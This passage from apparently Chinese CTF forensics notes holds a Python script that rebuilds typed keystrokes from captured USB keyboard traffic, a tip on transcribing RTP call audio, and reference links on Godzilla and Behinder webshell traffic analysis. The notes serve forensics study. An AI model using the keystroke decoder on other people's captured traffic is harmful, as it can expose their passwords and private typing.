# 添加其他必要的键码映射
}
main()
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
nums = []
keys = open(r"./usbdata.txt")
for line in keys:
if len(line)!=17: #首先过滤掉鼠标等其他设备的USB流量
continue
nums.append(line[0:2]+line[4:6]) #取一、三字节
keys.close()
output = ""
for n in nums:
if n[2:4] == "00" :
continue
if n[2:4] in normalKeys:
if n[0:2]=="02": #表示按下了shift
output += shiftKeys [n[2:4]]
else :
output += normalKeys [n[2:4]]
else:
output += ''
print('output :' + output)

RTP(电话)




利用buzz进行识别
https://github.com/chidiwilliams/buzz
导出wav格式

识别


ref
数据包
https://gitee.com/fengerxi/large-set-of-ctf-flow-problems
https://www.cnblogs.com/xhzccy/p/17917866.html
usb
https://wenku.baidu.com/view/9050c3c3af45b307e971971e.html?_wkts_=1736493070839
https://blog.csdn.net/guoqx/article/details/122020615
https://blog.csdn.net/HAD_INK/article/details/130153044
哥斯拉
https://mp.weixin.qq.com/s/dhSMye5GqvuquKAW__E3yQ
https://mp.weixin.qq.com/s/Iy-gRa4ubC5gS1xCDVz3lw
https://forum.butian.net/share/2517
https://mp.weixin.qq.com/s/VPWLGL6Ild9VpC2jeqM_dA
冰蝎
https://mp.weixin.qq.com/s/XTbo3lUuwUmptP8mFJLRZw
https://mp.weixin.qq.com/s/j6AV-SfJlPK6JHshea8bEA
https://mp.weixin.qq.com/s/Iy-gRa4ubC5gS1xCDVz3lw
https://www.cnblogs.com/smileleooo/p/18178347#%E5%86%B0%E8%9D%8E
https://www.cnblogs.com/mr-ryan/p/17807521.html
http://danielw.top/index.php/daniel/251/
AI
https://chat.deepseek.com/
https://chat.openai.com/
更多推荐


所有评论(0)